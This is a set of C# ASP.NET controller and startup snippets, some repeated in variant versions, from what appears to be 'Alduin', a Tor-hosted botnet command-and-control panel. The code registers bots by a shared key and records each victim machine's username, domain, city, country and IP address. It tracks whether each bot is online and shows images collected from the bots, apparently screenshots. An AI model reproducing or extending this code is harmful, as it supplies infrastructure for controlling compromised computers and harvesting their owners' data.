public static void Main(string[] args) { Console.WriteLine("Starting"); try { #if (!DEBUG) // Release appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel()); #else // Debug appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); #endif if (appsettings.Tor.RunItStart) { Thread thr = new Thread(new ThreadStart(ConfigTor.StartTor)); Thread thrCD = new Thread(new ThreadStart(CloseDetector.Detecter)); thr.Start(); thrCD.Start(); } } catch (Exception e) { Console.Write(e.ToString()); }; CreateWebHostBuilder(args).Build().Run(); }
public static void Main(string[] args) { appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); if (appsettings.Tor.RunItStart) { Thread thr = new Thread(new ThreadStart(ConfigTor.StartTor)); thr.Start(); } CreateWebHostBuilder(args).Build().Run(); }
public async Task <JsonResult> RegbotAsync([FromBody] BotRegisterModel model) { if (!ModelState.IsValid) { return(Json(new { success = false, result = "Invalid Model" })); } #if (!DEBUG) // Release appsettingsModel JsonString = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel()); #else // Debug appsettingsModel JsonString = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); #endif if (JsonString.Stump.KeyCertified != model.KeyCertified) { return(Json(new { success = false, result = "Key does not match" })); } var Keyquery = new GetBotByKeyUniqueQuery { KeyUnique = model.KeyUnique }; var botresult = _mediator.Send(Keyquery); if (botresult.Result == null) { var command = new RegbotCommand { UserName = model.UserName, Domain = model.Domain, City = model.City, CountryCode = model.CountryCode, KeyUnique = model.KeyUnique, LastIPAddress = model.LastIPAddress, CreationDateUTC = DateTime.Now, LastLoggedInUTC = DateTime.Now }; var result = await _mediator.Send(command); if (result.Suceeded) { return(Json(new { success = true, result = "Work" })); } } else { var BotUpdateCommand = new UpdateBotStatusCommand { id = botresult.Result.Id }; var result = await _mediator.Send(BotUpdateCommand); return(Json(new { success = true, result = "Updated" })); } return(Json(new { success = false, result = "Registration not success" })); }
public IActionResult Settings() { if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "Admin") { appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); return(View(appsettings)); } else { return(RedirectToAction(nameof(HomeController.Index), "Home")); } }
public IActionResult Settings(appsettingsModel model) { if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "Admin") { var json = JsonConvert.SerializeObject(model); ServerFileManager.FileWriter(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json", json); ViewData["Result"] = "ok"; return(View(model)); } else { return(RedirectToAction(nameof(HomeController.Index), "Home")); } }
public async Task <IActionResult> Bot(int id) { try { appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); var query = new GetBotByIdQuery { Id = id }; GetImgJsonModel ImagesJsonModel = JsonConvert.DeserializeAnonymousType(await _getBotImagesJsonServices.GetAllImg(id), new GetImgJsonModel()); var bot = await _mediator.Send(query); DateTime DateNowUTC = DateTime.UtcNow.AddMinutes(-5); var status = _localizer["Offline"]; if (bot.LastLoggedInUTC >= DateNowUTC) { status = _localizer["Online"]; } var botInquiryDeatils = new BotDeatilsInquiryModel { Name = bot.UserName, Domain = bot.Domain, LastIPAddress = bot.LastIPAddress, LastLoggedInUTC = bot.LastLoggedInUTC, Status = status, KeyCertified = bot.KeyCertified, KeyUnique = appsettings.Stump.KeyCertified }; var botmodel = new BotModel { newImagesJsonModel = ImagesJsonModel, newBotDeatilsInquiryModel = botInquiryDeatils }; return(View(botmodel)); } catch { return(RedirectToAction(nameof(List))); }; }
public async Task <IActionResult> Bot(int id) { try { var getImagesStatus = ""; #if (!DEBUG) // Release appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel()); #else // Debug appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); #endif GetImgJsonModel ImagesJsonModel; var query = new GetBotByIdQuery { Id = id }; var bot = await _mediator.Send(query); if (_env.WebRootFileProvider.GetDirectoryContents("img/Bots/" + bot.UserName + "_" + id).Exists) { var fullpath = _env.WebRootFileProvider.GetFileInfo("img/Bots")?.PhysicalPath + "/" + bot.UserName + "_" + id; var files = Directory.GetFiles(fullpath);//Wait to test List <string> images = new List <string>(files); ImagesJsonModel = new GetImgJsonModel() { Images = images }; getImagesStatus = "local"; } else { try { ImagesJsonModel = JsonConvert.DeserializeAnonymousType(await _getBotImagesJsonServices.GetAllImg(id), new GetImgJsonModel()); if (ImagesJsonModel.Images.Count == 0) { getImagesStatus = "nothing"; } else { getImagesStatus = "network"; } } catch { ImagesJsonModel = JsonConvert.DeserializeAnonymousType("{'Images':[]}", new GetImgJsonModel()); getImagesStatus = "nothing"; }; } DateTime DateNowUTC = DateTime.UtcNow.AddMinutes(-5); var status = _localizer["Offline"]; if (bot.LastLoggedInUTC >= DateNowUTC) { status = _localizer["Online"]; } var botInquiryDeatils = new BotDeatilsInquiryModel { Name = bot.UserName, Domain = bot.Domain, LastIPAddress = bot.LastIPAddress, LastLoggedInUTC = bot.LastLoggedInUTC, Status = status, KeyCertified = bot.KeyCertified, KeyUnique = appsettings.Stump.KeyCertified }; var botmodel = new BotModel { newImagesJsonModel = ImagesJsonModel, newBotDeatilsInquiryModel = botInquiryDeatils, getImagesStatus = getImagesStatus }; ViewData["ID"] = id; return(View(botmodel)); } catch (Exception e) { return(Content(e.ToString())); }; }